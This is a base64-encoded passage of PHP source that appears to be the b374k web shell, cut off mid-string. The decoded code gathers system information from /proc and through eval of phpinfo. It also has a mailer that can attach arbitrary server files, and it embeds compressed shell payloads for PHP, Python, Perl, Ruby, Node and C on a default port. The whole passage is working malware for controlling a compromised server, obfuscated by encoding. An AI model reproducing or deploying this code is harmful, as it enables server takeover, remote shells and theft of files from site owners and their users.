90cj4iOwoJCQl9CgkJfQoJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCgkJaWYoIWlzX3dpbigpKXsKCQkJLy8gY3B1IGluZm8KCQkJaWYoJGlfYnVmZj10cmltKHJlYWRfZmlsZSgiL3Byb2MvY3B1aW5mbyIpKSl7CgkJCQkkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19jcHUnKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5DUFUgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fY3B1JyBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7ZGlzcGxheTpub25lOyc+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG5cbiIsICRpX2J1ZmYpOwoJCQkJZm9yZWFjaCgkaV9idWZmcyBhcyAkaV9idWZmc3MpewoJCQkJCSRpX2J1ZmZzcyA9IHRyaW0oJGlfYnVmZnNzKTsKCQkJCQlpZigkaV9idWZmc3MhPSIiKXsKCQkJCQkJJGlfYnVmZnNzcyA9IGV4cGxvZGUoIlxuIiwgJGlfYnVmZnNzKTsKCQkJCQkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCQkJZm9yZWFjaCgkaV9idWZmc3NzIGFzICRpKXsKCQkJCQkJCSRpID0gdHJpbSgkaSk7CgkJCQkJCQlpZigkaSE9IiIpewoJCQkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJCQlpZihjb3VudCgkaWkpPT0yKSAkcmVzIC49ICI8dHI+PHRkPiIuJGlpWzBdLiI8L3RkPjx0ZD4iLiRpaVsxXS4iPC90ZD48L3RyPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCX0KCQkJCX0KCQkJCSRyZXMgLj0gIjwvZGl2PiI7CgkJCX0KCgkJCS8vIG1lbSBpbmZvCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL21lbWluZm8iKSkpewoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fbWVtJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+TWVtb3J5IEluZm88L3A+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX21lbScgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgkJCQlmb3JlYWNoKCRpX2J1ZmZzIGFzICRpKXsKCQkJCQkkaSA9IHRyaW0oJGkpOwoJCQkJCWlmKCRpIT0iIil7CgkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIjwvdGFibGU+PHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCX0KCQkJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCQkJfQoKCQkJLy8gcGFydGl0aW9uCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL3BhcnRpdGlvbnMiKSkpewoJCQkJJGlfYnVmZiA9IHByZWdfcmVwbGFjZSgiL1wgKy8iLCAiICIsICRpX2J1ZmYpOwoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fcGFydCcpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPlBhcnRpdGlvbnMgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fcGFydCcgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiI7CgkJCQkkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPjx0cj4iOwoJCQkJJGlfaGVhZCA9IGV4cGxvZGUoIiAiLCAkaV9idWZmc1swXSk7CgkJCQlmb3JlYWNoKCRpX2hlYWQgYXMgJGgpICRyZXMgLj0gIjx0aD4iLiRoLiI8L3RoPiI7CgkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQkkaV9idWZmc3MgPSBleHBsb2RlKCJcbiIsICRpX2J1ZmZzWzFdKTsKCQkJCWZvcmVhY2goJGlfYnVmZnNzIGFzICRpX2IpewoJCQkJCSRpX3JvdyA9IGV4cGxvZGUoIiAiLCB0cmltKCRpX2IpKTsKCQkJCQkkcmVzIC49ICI8dHI+IjsKCQkJCQlmb3JlYWNoKCRpX3JvdyBhcyAkcikgJHJlcyAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJHIuIjwvdGQ+IjsKCQkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQl9CgkJCQkkcmVzIC49ICI8L3RhYmxlPiI7CgkJCQkkcmVzIC49ICI8L2Rpdj4iOwoJCQl9CgkJfQoJCSRwaHBpbmZvID0gYXJyYXkoIlBIUCBHZW5lcmFsIiA9PiBJTkZPX0dFTkVSQUwsICJQSFAgQ29uZmlndXJhdGlvbiIgPT4gSU5GT19DT05GSUdVUkFUSU9OLCAiUEhQIE1vZHVsZXMiID0+IElORk9fTU9EVUxFUywgIlBIUCBFbnZpcm9ubWVudCIgPT4gSU5GT19FTlZJUk9OTUVOVCwgIlBIUCBWYXJpYWJsZXMiID0+IElORk9fVkFSSUFCTEVTKTsKCQlmb3JlYWNoKCRwaHBpbmZvIGFzICRwPT4kaSl7CgkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cImluZm9fdG9nZ2xlKCciLiRpLiInKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz4iLiRwLiI8L3A+IjsKCQkJb2Jfc3RhcnQoKTsKCQkJZXZhbCgicGhwaW5mbygiLiRpLiIpOyIpOwoJCQkkYiA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJaWYocHJlZ19tYXRjaCgiLzxib2R5PiguKj8pPFwvYm9keT4vaXMiLCAkYiwgJHIpKXsKCQkJCSRib2R5ID0gc3RyX3JlcGxhY2UoYXJyYXkoIiwiLCAiOyIsICImYW1wOyIpLCBhcnJheSgiLCAiLCAiOyAiLCAiJiIpLCAkclsxXSk7CgkJCQkkYm9keSA9IHN0cl9yZXBsYWNlKCI8dGFibGUiLCAiPHRhYmxlIGNsYXNzPSdib3h0YmwnICIsICRib2R5KTsKCQkJCSRib2R5ID0gcHJlZ19yZXBsYWNlKCIvPHRyIGNsYXNzPVwiaFwiPiguKj8pPFwvdHI+LyIsICIiLCAkYm9keSk7CgkJCQkkYm9keSA9IHByZWdfcmVwbGFjZSgiLzxhIGhyZWY9XCJodHRwOlwvXC93d3cucGhwLm5ldFwvKC4qPyk8XC9hPi8iLCAiIiwgJGJvZHkpOwoJCQkJJGJvZHkgPSBwcmVnX3JlcGxhY2UoIi88YSBocmVmPVwiaHR0cDpcL1wvd3d3LnplbmQuY29tXC8oLio/KTxcL2E+LyIsICIiLCAkYm9keSk7CgoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9JyIuJGkuIicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiIuJGJvZHkuIjwvZGl2PiI7CgkJCX0KCQl9CgoJCSRyZXMgLj0gIjxzcGFuIGNsYXNzPSdidXR0b24gY29sU3Bhbicgb25jbGljaz1cImluZm9fcmVmcmVzaCgpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPnJlZnJlc2g8L3NwYW4+PGRpdiBzdHlsZT0nY2xlYXI6Ym90aDsnPjwvZGl2PiI7CgkJcmV0dXJuICRyZXM7Cgl9Cn0KCmlmKGlzc2V0KCRwWydpbmZvUmVmcmVzaCddKSl7CglvdXRwdXQoaW5mb19nZXRpbmZvKCkpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnaWQnXSA9ICJtYWlsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydtYWlsJ11bJ3RpdGxlJ10gPSAiTWFpbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbWFpbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiaWYoIXBvcnRhYmxlTW9kZSkgJCgnI21haWxGcm9tJykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5NYWlsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5IGlkPSdtYWlsVEJvZHknPgoJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTIwcHgnPkZyb208L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J21haWxGcm9tJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbWFpbFRvJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5TdWJqZWN0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtYWlsU3ViamVjdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21haWxfc2VuZCcpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PgoJPHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J21haWxDb250ZW50JyBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7Jz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0nMic+PHNwYW4gc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1haWxfc2VuZCgpO1wiPnNlbmQ8L3NwYW4+CgkJPHNwYW4gc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1haWxfYXR0YWNoKCk7XCI+YXR0YWNobWVudDwvc3Bhbj4KCQk8L3RkPgoJPC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gaWQ9J21haWxSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+CiI7CgppZighZnVuY3Rpb25fZXhpc3RzKCdzZW5kX2VtYWlsJykpewoJZnVuY3Rpb24gc2VuZF9lbWFpbCgkZnJvbSwgJHRvLCAkc3ViamVjdCwgJG1zZywgJGF0dGFjaG1lbnQpewoJCSRoZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiIuJGZyb207CgoJCSRyYW5kID0gbWQ1KHRpbWUoKSk7CgkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHJhbmQuIlwiXHJcblxyXG4iOwoKCQkkaGVhZGVycyAuPSAiLS0iLiRyYW5kLiJcclxuIjsKCQkkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9XCJVVEYtOFwiXHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDhiaXRcclxuXHJcbiI7CgkJJGhlYWRlcnMgLj0gJG1zZy4iXHJcblxyXG4iOwoKCQlpZihjb3VudCgkYXR0YWNobWVudCk+MCl7CgkJCWZvcmVhY2goJGF0dGFjaG1lbnQgYXMgJGZpbGUpewoJCQkJaWYoaXNfZmlsZSgkZmlsZSkpewoJCQkJCSRjb250ZW50ID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKSk7CgkJCQkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIlwiXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50XHJcblxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICRjb250ZW50LiJcclxuXHJcbiI7CgkJCQl9CgkJCX0KCQl9CgkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iLS1cclxuIjsKCQlpZihAbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcnMpKSByZXR1cm4gdHJ1ZTsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmlmKGlzc2V0KCRwWydtYWlsRnJvbSddKSYmaXNzZXQoJHBbJ21haWxUbyddKSYmaXNzZXQoJHBbJ21haWxTdWJqZWN0J10pJiZpc3NldCgkcFsnbWFpbENvbnRlbnQnXSkpewoJJG1haWxGcm9tID0gdHJpbSgkcFsnbWFpbEZyb20nXSk7CgkkbWFpbFRvID0gdHJpbSgkcFsnbWFpbFRvJ10pOwoJJG1haWxTdWJqZWN0ID0gdHJpbSgkcFsnbWFpbFN1YmplY3QnXSk7CgkkbWFpbENvbnRlbnQgPSB0cmltKCRwWydtYWlsQ29udGVudCddKTsKCSRtYWlsQXR0YWNobWVudCA9IHRyaW0oJHBbJ21haWxBdHRhY2htZW50J10pOwoJJG1haWxBdHRhY2htZW50ID0gKCFlbXB0eSgkbWFpbEF0dGFjaG1lbnQpKT8gZXhwbG9kZSgie1t8YjM3NGt8XX0iLCAkcFsnbWFpbEF0dGFjaG1lbnQnXSk6YXJyYXkoKTsKCglpZihlbXB0eSgkbWFpbFRvKSkgb3V0cHV0KCJQbGVhc2Ugc3BlY2lmeSBhdCBsZWFzdCBvbmUgcmVjaXBpZW50Iik7CglpZighZW1wdHkoJG1haWxGcm9tKSl7CgkJJG1haWxGcm9tID0gIkZyb206ICIuJG1haWxGcm9tLiJcclxuUmVwbHktVG86ICIuJG1haWxGcm9tLiJcclxuIjsKCX0KCglmb3JlYWNoKCRtYWlsQXR0YWNobWVudCBhcyAkZmlsZSl7CgkJJGZpbGUgPSB0cmltKCRmaWxlKTsKCQlpZihlbXB0eSgkZmlsZSkpIGNvbnRpbnVlOwoJCWlmKCFpc19maWxlKCRmaWxlKSkgb3V0cHV0KCJObyBzdWNoIGZpbGUgOiAiLiRmaWxlKTsKCX0KCglpZihzZW5kX2VtYWlsKCRtYWlsRnJvbSwgJG1haWxUbywgJG1haWxTdWJqZWN0LCAkbWFpbENvbnRlbnQsICRtYWlsQXR0YWNobWVudCkpIG91dHB1dCgiTWFpbCBzZW50IHRvICIuaHRtbF9zYWZlKCRtYWlsVG8pKTsKCW91dHB1dCgiRmFpbGVkIHRvIHNlbmQgbWFpbCIpOwp9Cgokc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOmlzc2V0KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk/JF9TRVJWRVJbIkhUVFBfSE9TVCJdOiIiOwokcmVtb3RlX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSk/ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOiIiOwokZGVmYXVsdF9wb3J0ID0gMTMxMjM7CiR3aW5iaW5hcnkgPSAoc3RydG9sb3dlcihzdWJzdHIocGhwX3VuYW1lKCksMCwzKSk9PSJ3aW4iKT8gIjxvcHRpb24+ZXhlY3V0YWJsZTwvb3B0aW9uPiI6IiI7CgokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX3BocCddID0gIjdWUk5qOXMyRUQzYnYwSlJCU3lGS3JabEZ3aXdMamVYOWxnZ2FBdjBrTjBLTWtXdENFc2l5NkZxQjkzOTd4MSt5QjhiWnpkSWcxNWFHSmJJR2M2YjRjelQrLzZ0YXRUMG02Z3hSc0gxZkg0dlRETnNaa3gyODgzcXpYZGIvNXh5cmFVdU5GZFNHOUhmazBXNm5nSTNoUkVkTDFyUkNlTk1jbE9JVHJXQ0NWUFU3UUFOUWVNME1hVys1d1lvMzZ0V1ZwekVVWndGSS9vVEJqUmZyZDdnYWxmU2ZtaGJYUEhEQ2hvYVl5QW1qbjc5OGVlZjZONXczYTNmL1pMVHE5dmszVzgvM0Z5dGd4dHQ2L2xHOUhOb290Y2l4dGlPeHE3K0NCcmV0dEYxeEdUZmMyWjRkZHVqZnlwcXd1VFFHektXbUZLYXAzOU5KNG1pd2JUR0RWWVEyN2RCT05GWHVINmM4aGI0cGZEbGVUaThYOXg1aUlNaHZ4dXhTcloxV0xhT2V1aVpFYkl2K0Y2QUFYS2xXRy9hb3BaNmU1VjZURkhSbzlGMmRvSnh6a3hmNXluR0daS2ZXTDFsRVN4S2d0Z1hPRE1RRlVuUEkzd0ZXRks0bjBzSEZJem1aVmVBWkZzY05YRDlKOWNrTmt3aFR4WXo5N3VPWjRuS0VxUkhMOTBMWTJ6Q01UUlFSQTdZSThoV3JwaUVQVUV1R2VQS0hnaWxvdGZJVnU0d0d3d2IzQkhrYURIMFpjZEptaTJ5VllyMXh6dlJ1MEluOVU0THcwbkNzcVNiWVlmWkRpODRpMjlpQ3pmWk5hSkZwM3BGYVYzaXpGeUlIVkJ0aDRGUjdwVHJrT2IzUlZjYTFwQjR6cXJiaUx6Ly9SYnV2azNuQXVtS3Q5UTY5ZEdUcEtvb2J2MG9mYlNBb2hLYW9DZE5XVE11dlR1UjlMUXVaM3kwajBBaW8wVjNldXRFdVJ2YStjVFJ3MFAwQ2Y4ZkEvclRhSU85M0s1SHVBaVQ4YjI5TWVaQ2xzOCt5bnpTTCtrS3RLWFVySlhBeDNhTU96Y1JkRnZncDYxMkI1TUthS2wxK1lFczZJMWZ4RW9vSG1leGp0TXNmMnJjb1hGNXdlakJsS1pLUzFaSXhYdE0zbVFJajUwWHlybXhVYSt3eTVxREhEU3pOOFI1SEZsL3lybE5pOHl5T21XRDhRdk1GcytmeUY4OHNYejJCQXRPVHphamgwQXorMTF6V2R1MlBqejRsVStYcHNlcEpib01QYlI5RGVXRXBKNUFoNXd0YWhmQjh4a3FKWDV1WldZMThrQmcwUmRISEYwZXlDcG9qZkdWTXpNSW5CeEhHUnFVaVBSSXl6T3NzYUJMZ0tQdkkxVDJBdUR5R2NEbHk0Q1A1eHc5SWUrNDlOYzYzK2RQOXFHOWpuS2pXWHZHSC9UZGk2SVY2aUNLdFJVdFQ5REdxUUx2OFQ5cTI1ZXJGM3lSZXNGL1ZyM2drbnA5U3EvZ2Y3MDZPd0V2NlJWOG5sN0JWOUlydUt3RzhLL3BGWHh0dllMUDBhdC9MRkp2Yi80RyI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfcHl0aG9uJ10gPSAiclZSdGI5b3dFUDZjL0lyVW5ZWXRVbE5vcTAxMFFVSnRPbFZiV3dSTSs5QjJLRGdIaVFwT1pEc3QvZmM3Snlrd3hOUVBteEJKN3NWMzk5dzk1OE9EVnFGVmE1cktGc2huTDM4MVNTYmRReTh4SnRmZFZtdWVtcVNZY3BFdFc5T1RUNmRQMWROTmwzbW1qS2ZBMThVMFY1a0FyZjFNKy9vVi81bDRBdU9iZEFsdUhoRGlKdllSdzh6VENTd1dWTEN1NjlnendlWXNIMlE1U0NyODBpVVlxd0lqbXpncnpCOU8xNFBRcWtHcGZlcFU3bXFaNnlnd2haS2UxZklxSWxjUXhaUTEzMVFZYlV1MXpBMWxIS1RJWXFDTndzeU9QamVZVzVZZkNaTm1zcW8vblhtWjVqSmF3a0ZBcENHb2NtYUI0TE4wQVRLam1OaEJPN2JEd0pJU1dKWHRHb2ZEbTJCbFFDM1BCNk4yMFBndytIblphNXpYVmxTZGw0UFFpWGVVZWw4K2txWTJpczVZazNpOWJhR3prVEFQTERUWTdDOEpwdlpzNTZ6a0dQVmF2aDJGVlNrUXo3UjkzRGxsUElZU0dTbVJFVnVuQXlzQnVhbTg4MGpyVWxkSGRTeFNoRVFWNngxWENtY2FLT0FhSWlVU1NrVDg0Tkg3WHcvNnNjbUlyL3paSXBwcjYzRDk5Zlp1R0Y3MFJ5R3JqbUdnYVIyaGJsOGVtWVNuT2s0Vm5mSzV5b3FjdGhsNzg3RU5GTW1Pc2JiaDRFREc5Ry96cXQwMklEQ1lwVkxKUDhXMmlpaU1GOG00UklqZkZtTWQya3J1T29oWDArZ3FRcWxpdzF2dTdwcGo1RUdTSmhZOUJ5TmVMSjFJajdqekFFbkFJelYvZHV0T3psa1FkT3dLQlBQNzlxTUxpeTM5eVVidkpQanVXRHZtaDFWcUVEN3VVeW9Oelptcmcyck5lUFdpdGRTL21semZodU42Qi9ubzd1TGJaRFFlaHYwYlBJTEFqRFZrK2RwL2RQZDlZcDIyajB5RzRZOVIyTCs4SFBxWWNhZG96WkdoTWFYa21KYy80dWUyMjVvdlVxUzZwR2NvV09yaEtrY3NRT0RDY3N2dXc0Wmw5bWJnZWdGZ0o3b2g4TDZWZWhzMEplVzlVOTBnWHRjVG1aUWdETVRZOHIzVFg0Lyt2UUJrdmZSNzQ2eDMzdDJaa2dYcElVR3JPSlFtVlNQMm9qeDdENlgrVjVUNnY2RFU3RGM9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19wZXJsJ10gPSAibFpKaGI5TXdFSVkvMTcvQ1pGNmJTSUcwREFtcEpoVlZtcUZxYTFQRkhRaFJpTkwwV0t5bGNSUzdyS2dydngwbnkyZ0VRb0o4c081ZW41NnpIdVhzbWJPVHBiUG11UVA1TjF4QW1hRXpuQ3BWeUtIajNIS1Y3dFl2RXJGMTFoZXZYOTA5bm1nbkFVK0Q0WkNKNUE0VVJVUklsM3dKZENGVDE0QjlJVXFGbDM0NGMvY0t5aTFkc0lIYlc1SEZoOGxxMUtQTnZRNXB2VmVtK0RrM0tPSmZ6UXIwWSt2YzY1UmJoNXAyN2dVenR2QzljK3hjR2ZTSWlISnZRUldsVUdMOVBZKzNZUFpVVXZRc2ltVDlHcFBaM2NWbE5KMzdTN3ZMQXU4cVlzdlFIODlzb3F5SGh3MEgwNnBYdlIySDc5Njc3c0E2b0E0cFhGSzFuL3FmS2VwSVVCVktGQldMQmRkUlJkRTBGa1NoZjhQODhXUVMyZ05ONmVqWGIvUk1OUjF2Tm1YRWM1TVU5blJlVFVUaitVZnJ0TEdUY2FrZzE5TVhyVEJPRXRCclBKdFo5V0tOODJ5amxveGxDbG1HaHpnUmVRNkpnczBxTit4K05TY0t5REZiVHFaejIzalQ5UXo2RkFRM1M5c1l0Uk0vREpzRWRXQVBDZFpPVCt1VFRFZ3dQWXMrRnV4WFViRmJqZWEyT3MyMGFoeFh1RThST2lMSTVNbm95eitOa3JUcEJuWEhYWjZEaW1JbHRLKzBwWVBFN204dUNXOWROeWEwUXhLMzRsb2IremR0WnFOdDFHV0dSWitTeGxzN2FzUlYwZC9OL1pld1doTWNLbTJtL251T1NIOC9BUT09IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19ydWJ5J10gPSAidFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX25vZGUnXSA9ICJuVkhMYnNJd0VEd2JpWCtJY29raklWc3FTSlZBblBvSlBkS0hqTE5ncTQ2VDJnNVVRdng3L1FnVTZFTlZjckN5TzdPenU3T1Vac0s1MXM0cDNVb251alhoVFUzWDAvdlpXM3JIb3gwem1XM1pYbWZMek1CN0p3M2dnZ3VwcXRmV05CeXNMVW9TQ1l0RTF1QXVxVDRzeWg2eXpnQ3JMOUdVT1JONG8yMmo0S3BWU2tWS3J5SkFLVThwNkZwcWFrWGhFYm5CL1RTa1ZjeHRHbE9UbWprdU1IM1plNVlzeTY4NlhsY0VQcUE0S3pLejNYbmdwQkRDcEJuK2lBSzlkV0s1bkphSDhRZ0Z2dkJrdnhmaGZuZ0hqMkIyWVBDbTA5ekpSbU1iZWNpU3ZaRU9jQjZON0x2UHc0b2F1SVBxU2VkaHA2ei8wbVplT0hxSkkvMFN0NEpZVjBsTkROaXVCbHplUWszbmlPK2VWOHl4ZkhLYUpzTWhMZytuYVdLME9INVhCbU1HbHY5VmRocjZXelZLcnlCS1dnYzZPcjI2ZXc3SjQzZ0V5a0oyNi8vczdMKzk4djhoT1JxczcxVW04YUtyYVpUNzd5SFFieGRBUDFpUEJucU9CcHFOaHJsOC9BUT0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX2djYyddID0gInJWSmhiOW93RVAwTXY4SmpVK3RRajVDMDA2VFNWRUtGU1dndFJNQTBUUnVLZ21QSXFjR09Zak5CcC83MzJuRmd3TFJKay9vaHlkMjdsM2YydlhPYktGVXFsOWV1dXdTVnJ1Y3RLbGJ1L1BMajFhTjlvNlpiZnd1Y1p1dUVvUnVwRWhDdDlQWUlLb0F2VDdFa2cva0p0cFd1MnVaTS9nbExRUitaT3NZNVU2QWZGL2d4dnVhZzFRMEdYS0ZWREJ5YklDNldsTkEwTGxCVGh6Ky96NXhmOVpvcFNFS0pDTHhPdmFZUHVxWWEwTTNpSkNraTRBZzBEQXRzZmc0QzMveFNnNVlFSGkzaUZXVGJvUHNwR2d6NzA4N